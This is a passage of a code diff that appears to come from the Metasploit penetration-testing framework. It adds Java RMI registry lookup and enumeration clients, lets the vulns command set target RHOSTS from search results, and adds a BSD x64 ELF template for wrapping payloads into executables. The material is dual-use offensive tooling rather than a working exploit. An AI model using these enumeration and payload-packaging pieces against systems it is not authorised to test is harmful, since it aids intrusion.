reference = extract_reference(return_io)
|
||||
|
||||
reference
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
129
lib/msf/java/rmi/client/registry.rb
Normal file
129
lib/msf/java/rmi/client/registry.rb
Normal file
@ -0,0 +1,129 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
# This mixin provides methods to simulate calls to the Java java/rmi/registry/RegistryImpl_Stub
|
||||
# interface
|
||||
module Registry
|
||||
require 'msf/java/rmi/client/registry/builder'
|
||||
require 'msf/java/rmi/client/registry/parser'
|
||||
|
||||
include Msf::Java::Rmi::Client::Registry::Builder
|
||||
include Msf::Java::Rmi::Client::Registry::Parser
|
||||
|
||||
# Sends a Registry lookup call to the RMI endpoint. Simulates a call to the Java
|
||||
# java/rmi/registry/RegistryImpl_Stub#lookup() method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Hash, NilClass] The remote reference information if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_lookup
|
||||
def send_registry_lookup(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_registry_lookup(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
remote_object = return_value.get_class_name
|
||||
|
||||
if remote_object.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
remote_location = parse_registry_lookup_endpoint(return_value)
|
||||
|
||||
if remote_location.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
remote_location.merge(object: remote_object)
|
||||
end
|
||||
|
||||
# Sends a Registry list call to the RMI endpoint. Simulates a call to the Java
|
||||
# java/rmi/registry/RegistryImpl_Stub#list() method
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Array, NilClass] The set of names if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_list
|
||||
def send_registry_list(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_registry_list(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
names = parse_registry_list(return_value)
|
||||
|
||||
names
|
||||
end
|
||||
|
||||
# Calculates the hash to make RMI calls for the
|
||||
# java/rmi/registry/RegistryImpl_Stub interface
|
||||
#
|
||||
# @return [Fixnum] The interface's hash
|
||||
def registry_interface_hash
|
||||
hash = calculate_interface_hash(
|
||||
[
|
||||
{
|
||||
name: 'bind',
|
||||
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.AlreadyBoundException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'list',
|
||||
descriptor: '()[Ljava/lang/String;',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'lookup',
|
||||
descriptor: '(Ljava/lang/String;)Ljava/rmi/Remote;',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'rebind',
|
||||
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'unbind',
|
||||
descriptor: '(Ljava/lang/String;)V',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
|
||||
}
|
||||
]
|
||||
)
|
||||
|
||||
hash
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
66
lib/msf/java/rmi/client/registry/builder.rb
Normal file
66
lib/msf/java/rmi/client/registry/builder.rb
Normal file
@ -0,0 +1,66 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Registry
|
||||
module Builder
|
||||
|
||||
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#lookup() used to
|
||||
# retrieve the remote reference bound to a name.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the name to lookup
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
def build_registry_lookup(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
name = opts[:name] || ''
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: 2, # java.rmi.Remote lookup(java.lang.String)
|
||||
hash: registry_interface_hash,
|
||||
arguments: [Rex::Java::Serialization::Model::Utf.new(nil, name)]
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#list() used to
|
||||
# enumerate the names bound in a registry
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
def build_registry_list(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: 1, # java.lang.String list()[]
|
||||
hash: registry_interface_hash,
|
||||
arguments: []
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
49
lib/msf/java/rmi/client/registry/parser.rb
Normal file
49
lib/msf/java/rmi/client/registry/parser.rb
Normal file
@ -0,0 +1,49 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Registry
|
||||
module Parser
|
||||
# Parses a java/rmi/registry/RegistryImpl_Stub#lookup() return value to find out
|
||||
# the remote reference information.
|
||||
#
|
||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
|
||||
def parse_registry_lookup_endpoint(return_value)
|
||||
values_size = return_value.value.length
|
||||
end_point_block_data = return_value.value[values_size - 2]
|
||||
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
|
||||
return nil
|
||||
end
|
||||
|
||||
return_io = StringIO.new(end_point_block_data.contents, 'rb')
|
||||
|
||||
reference = extract_reference(return_io)
|
||||
|
||||
reference
|
||||
end
|
||||
|
||||
# Parses a java/rmi/registry/RegistryImpl_Stub#list() return value to find out
|
||||
# the list of names registered.
|
||||
#
|
||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||
# @return [Array, NilClass] The list of names registered if success, nil otherwise
|
||||
def parse_registry_list(return_value)
|
||||
unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewArray)
|
||||
return nil
|
||||
end
|
||||
|
||||
unless return_value.value[0].type == 'java.lang.String;'
|
||||
return nil
|
||||
end
|
||||
|
||||
return_value.value[0].values.collect { |val| val.contents }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
@ -1,70 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/java/serialization'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Streams
|
||||
|
||||
# Builds a RMI header stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :signature
|
||||
# @option opts [Fixnum] :version
|
||||
# @option opts [Fixnum] :protocol
|
||||
# @return [Rex::Proto::Rmi::Model::OutputHeader]
|
||||
def build_header(opts = {})
|
||||
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
|
||||
version = opts[:version] || 2
|
||||
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
|
||||
|
||||
header = Rex::Proto::Rmi::Model::OutputHeader.new(
|
||||
signature: signature,
|
||||
version: version,
|
||||
protocol: protocol)
|
||||
|
||||
header
|
||||
end
|
||||
|
||||
# Builds a RMI call stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Rex::Java::Serialization::Model::Stream>}]
|
||||
# @option opts [Fixnum] :message_id
|
||||
# @option opts [Rex::Java::Serialization::Model::Stream] :call_data
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
def build_call(opts = {})
|
||||
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
|
||||
call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
call = Rex::Proto::Rmi::Model::Call.new(
|
||||
message_id: message_id,
|
||||
call_data: call_data
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds a RMI dgc ack stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
||||
# @option opts [Fixnum] :stream_id
|
||||
# @option opts [String] :unique_identifier
|
||||
# @return [Rex::Proto::Rmi::Model::DgcAck]
|
||||
def build_dgc_ack(opts = {})
|
||||
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
|
||||
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
|
||||
stream_id: stream_id,
|
||||
unique_identifier: unique_identifier
|
||||
)
|
||||
|
||||
dgc_ack
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
123
lib/msf/java/rmi/util.rb
Normal file
123
lib/msf/java/rmi/util.rb
Normal file
@ -0,0 +1,123 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/java/serialization'
|
||||
require 'rex/text'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Util
|
||||
# Calculates a method hash to make RMI calls as defined by the JDK 1.2
|
||||
#
|
||||
# @param signature [String] The remote method signature as specified by the JDK 1.2,
|
||||
# method name + method descriptor (as explained in the Java Virtual Machine Specification)
|
||||
# @return [Fixnum] The method hash
|
||||
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how method hashes are calculated
|
||||
def calculate_method_hash(signature)
|
||||
utf = Rex::Java::Serialization::Model::Utf.new(nil, signature)
|
||||
sha1 = Rex::Text.sha1_raw(utf.encode)
|
||||
|
||||
sha1.unpack('Q<')[0]
|
||||
end
|
||||
|
||||
# Calculates an interface hash to make RMI calls as defined by the JDK 1.1
|
||||
#
|
||||
# @param methods [Array] set of method names and their descriptors
|
||||
# @param exceptions [Array] set of declared exceptions
|
||||
# @return [Fixnum] The interface hash
|
||||
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated
|
||||
def calculate_interface_hash(methods)
|
||||
stream = ''
|
||||
stream << [1].pack('N') # stub version number
|
||||
|
||||
methods.each do |m|
|
||||
utf_method = Rex::Java::Serialization::Model::Utf.new(nil, m[:name])
|
||||
utf_descriptor = Rex::Java::Serialization::Model::Utf.new(nil, m[:descriptor])
|
||||
stream << utf_method.encode
|
||||
stream << utf_descriptor.encode
|
||||
m[:exceptions].each do |e|
|
||||
utf_exception = Rex::Java::Serialization::Model::Utf.new(nil, e)
|
||||
stream << utf_exception.encode
|
||||
end
|
||||
end
|
||||
|
||||
sha1 = Rex::Text.sha1_raw(stream)
|
||||
|
||||
sha1.unpack('Q<')[0]
|
||||
end
|
||||
|
||||
# Extracts an string from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the string from
|
||||
# @return [String, nil] the extracted string if success, nil otherwise
|
||||
def extract_string(io)
|
||||
raw_length = io.read(2)
|
||||
unless raw_length && raw_length.length == 2
|
||||
return nil
|
||||
end
|
||||
length = raw_length.unpack('s>')[0]
|
||||
|
||||
string = io.read(length)
|
||||
unless string && string.length == length
|
||||
return nil
|
||||
end
|
||||
|
||||
string
|
||||
end
|
||||
|
||||
# Extracts an int from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the int from
|
||||
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
||||
def extract_int(io)
|
||||
int_raw = io.read(4)
|
||||
unless int_raw && int_raw.length == 4
|
||||
return nil
|
||||
end
|
||||
int = int_raw.unpack('l>')[0]
|
||||
|
||||
int
|
||||
end
|
||||
|
||||
# Extracts a long from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the long from
|
||||
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
||||
def extract_long(io)
|
||||
int_raw = io.read(8)
|
||||
unless int_raw && int_raw.length == 8
|
||||
return nil
|
||||
end
|
||||
int = int_raw.unpack('q>')[0]
|
||||
|
||||
int
|
||||
end
|
||||
|
||||
# Extract an RMI interface reference from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the reference from, should contain the data
|
||||
# inside a BlockData with the reference information.
|
||||
# @return [Hash, nil] the extracted reference if success, nil otherwise
|
||||
# @see Msf::Java::Rmi::Client::Jmx:Server::Parser#parse_jmx_new_client_endpoint
|
||||
# @see Msf::Java::Rmi::Client::Registry::Parser#parse_registry_lookup_endpoint
|
||||
def extract_reference(io)
|
||||
ref = extract_string(io)
|
||||
unless ref && ref == 'UnicastRef'
|
||||
return nil
|
||||
end
|
||||
|
||||
address = extract_string(io)
|
||||
return nil unless address
|
||||
|
||||
port = extract_int(io)
|
||||
return nil unless port
|
||||
|
||||
object_number = extract_long(io)
|
||||
|
||||
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io)
|
||||
|
||||
{address: address, port: port, object_number: object_number, uid: uid}
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
@ -355,7 +355,7 @@ class Db
|
||||
onlyup = true
|
||||
when '-o'
|
||||
output = args.shift
|
||||
when '-R','--rhosts'
|
||||
when '-R', '--rhosts'
|
||||
set_rhosts = true
|
||||
when '-S', '--search'
|
||||
search_term = /#{args.shift}/nmi
|
||||
@ -483,7 +483,7 @@ class Db
|
||||
|
||||
tbl << columns
|
||||
if set_rhosts
|
||||
addr = (host.scope ? host.address.to_s + '%' + host.scope : host.address.to_s )
|
||||
addr = (host.scope ? host.address.to_s + '%' + host.scope : host.address.to_s)
|
||||
rhosts << addr
|
||||
end
|
||||
if mode == [:delete]
|
||||
@ -523,7 +523,7 @@ class Db
|
||||
mode = :search
|
||||
onlyup = false
|
||||
output_file = nil
|
||||
set_rhosts = nil
|
||||
set_rhosts = false
|
||||
col_search = ['port', 'proto', 'name', 'state', 'info']
|
||||
default_columns = ::Mdm::Service.column_names.sort
|
||||
default_columns.delete_if {|v| (v[-2,2] == "id")}
|
||||
@ -581,7 +581,7 @@ class Db
|
||||
return
|
||||
end
|
||||
output_file = ::File.expand_path(output_file)
|
||||
when '-R','--rhosts'
|
||||
when '-R', '--rhosts'
|
||||
set_rhosts = true
|
||||
when '-S', '--search'
|
||||
search_term = /#{args.shift}/nmi
|
||||
@ -705,6 +705,7 @@ class Db
|
||||
print_line " -h,--help Show this help information"
|
||||
print_line " -p,--port <portspec> List vulns matching this port spec"
|
||||
print_line " -s <svc names> List vulns matching these service names"
|
||||
print_line " -R,--rhosts Set RHOSTS from the results of the search"
|
||||
print_line " -S,--search Search string to filter by"
|
||||
print_line " -i,--info Display Vuln Info"
|
||||
print_line
|
||||
@ -721,8 +722,11 @@ class Db
|
||||
host_ranges = []
|
||||
port_ranges = []
|
||||
svcs = []
|
||||
rhosts = []
|
||||
|
||||
search_term = nil
|
||||
show_info = false
|
||||
set_rhosts = false
|
||||
|
||||
# Short-circuit help
|
||||
if args.delete "-h"
|
||||
@ -750,6 +754,8 @@ class Db
|
||||
return
|
||||
end
|
||||
svcs = service.split(/[\s]*,[\s]*/)
|
||||
when '-R', '--rhosts'
|
||||
set_rhosts = true
|
||||
when '-S', '--search'
|
||||
search_term = /#{args.shift}/nmi
|
||||
when '-i', '--info'
|
||||
@ -790,9 +796,17 @@ class Db
|
||||
next unless ports.empty? and svcs.empty?
|
||||
print_status("Time: #{vuln.created_at} Vuln: host=#{host.address.to_s} name=#{vuln.name} refs=#{reflist.join(',')} #{(show_info && vuln.info) ? "info=#{vuln.info}" : ""}")
|
||||
end
|
||||
if set_rhosts
|
||||
addr = (host.scope ? host.address + '%' + host.scope : host.address)
|
||||
rhosts << addr
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Finally, handle the case where the user wants the resulting list
|
||||
# of hosts to go into RHOSTS.
|
||||
set_rhosts_from_addrs(rhosts.uniq) if set_rhosts
|
||||
}
|
||||
end
|
||||
|
||||
@ -1099,6 +1113,8 @@ class Db
|
||||
print_status("Wrote creds to #{output_file}")
|
||||
end
|
||||
|
||||
# Finally, handle the case where the user wants the resulting list
|
||||
# of hosts to go into RHOSTS.
|
||||
set_rhosts_from_addrs(rhosts.uniq) if set_rhosts
|
||||
print_status("Deleted #{delete_count} creds") if delete_count > 0
|
||||
}
|
||||
|
@ -111,6 +111,10 @@ require 'msf/core/exe/segment_appender'
|
||||
if plat.index(Msf::Module::Platform::OSX)
|
||||
return to_osx_x64_macho(framework, code)
|
||||
end
|
||||
|
||||
if plat.index(Msf::Module::Platform::BSD)
|
||||
return to_bsd_x64_elf(framework, code)
|
||||
end
|
||||
end
|
||||
|
||||
if arch.index(ARCH_ARMLE)
|
||||
@ -891,6 +895,11 @@ require 'msf/core/exe/segment_appender'
|
||||
to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
|
||||
end
|
||||
|
||||
# Create a 64-bit Linux ELF containing the payload provided in +code+
|
||||
def self.to_bsd_x64_elf(framework, code, opts = {})
|
||||
to_exe_elf(framework, opts, "template_x64_bsd.bin", code)
|
||||
end
|
||||
|
||||
# Create a 32-bit Solaris ELF containing the payload provided in +code+
|
||||
def self.to_solaris_x86_elf(framework, code, opts = {})
|
||||
to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
|
||||
@ -1870,10 +1879,8 @@ require 'msf/core/exe/segment_appender'
|
||||
if !plat || plat.index(Msf::Module::Platform::Linux)
|
||||
case arch
|
||||
when ARCH_X86,nil
|
||||
to_linux_x86_elf(framework, code, exeopts)
|
||||
when ARCH_X86_64
|
||||
to_linux_x64_elf(framework, code, exeopts)
|
||||
when ARCH_X64
|
||||
to_linux_x86_elf(framework, code, exeopts)
|
||||
when ARCH_X86_64, ARCH_X64
|
||||
to_linux_x64_elf(framework, code, exeopts)
|
||||
when ARCH_ARMLE
|
||||
to_linux_armle_elf(framework, code, exeopts)
|
||||
@ -1886,6 +1893,8 @@ to_linux_x86_elf(framework, code, exeopts)
|
||||
case arch
|
||||
when ARCH_X86,nil
|
||||
Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
|
||||
when ARCH_X86_64, ARCH_X64
|
||||
Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts)
|
||||
end
|
||||
elsif plat && plat.index(Msf::Module::Platform::Solaris)
|
||||
case arch
|
||||
@ -1896,9 +1905,7 @@ to_linux_x86_elf(framework, code, exeopts)
|
||||
when 'elf-so'
|
||||
if !plat || plat.index(Msf::Module::Platform::Linux)
|
||||
case arch
|
||||
when ARCH_X86_64
|
||||
to_linux_x64_elf_dll(framework, code, exeopts)
|
||||
when ARCH_X64
|
||||
when ARCH_X86_64, ARCH_X64
|
||||
to_linux_x64_elf_dll(framework, code, exeopts)
|
||||
end
|
||||
end
|
||||
@ -1906,9 +1913,7 @@ to_linux_x86_elf(framework, code, exeopts)
|
||||
macho = case arch
|
||||
when ARCH_X86,nil
|
||||
to_osx_x86_macho(framework, code, exeopts)
|
||||
when ARCH_X86_64
|
||||
to_osx_x64_macho(framework, code, exeopts)
|
||||
when ARCH_X64
|
||||
when ARCH_X86_64, ARCH_X64
|
||||
to_osx_x64_macho(framework, code, exeopts)
|
||||
when ARCH_ARMLE
|
||||
to_osx_arm_macho(framework, code, exeopts)
|
||||
|
@ -41,9 +41,6 @@ module Net; module SSH; module Transport
|
||||
# version.
|
||||
attr_reader :server_version
|
||||
|
||||
# Internal compatibility flags (hacks/tweaks/etc)
|
||||
attr_reader :compat_flags
|
||||
|
||||
# The Algorithms instance used to perform key exchanges.
|
||||
attr_reader :algorithms
|
||||
|
||||
@ -97,13 +94,6 @@ module Net; module SSH; module Transport
|
||||
|
||||
@server_version = ServerVersion.new(socket, logger)
|
||||
|
||||
# Compatibility settings
|
||||
ver = @server_version.version
|
||||
@compat_flags = 0
|
||||
if ver =~ /OpenSSH_2\.[0-3]/ or ver =~ /OpenSSH_2\.5\.[0-2]/
|
||||
@compat_flags |= COMPAT_OLD_DHGEX
|
||||
end
|
||||
|
||||
@algorithms = Algorithms.new(self, options)
|
||||
wait { algorithms.initialized? }
|
||||
end
|
||||
|
@ -51,5 +51,7 @@ module Rex
|
||||
end
|
||||
end
|
||||
|
||||
require 'rex/java/serialization/decode_error'
|
||||
require 'rex/java/serialization/encode_error'
|
||||
require 'rex/java/serialization/model'
|
||||
require 'rex/java/serialization/builder'
|
11
lib/rex/java/serialization/decode_error.rb
Normal file
11
lib/rex/java/serialization/decode_error.rb
Normal file
@ -0,0 +1,11 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
class DecodeError < ::RuntimeError
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user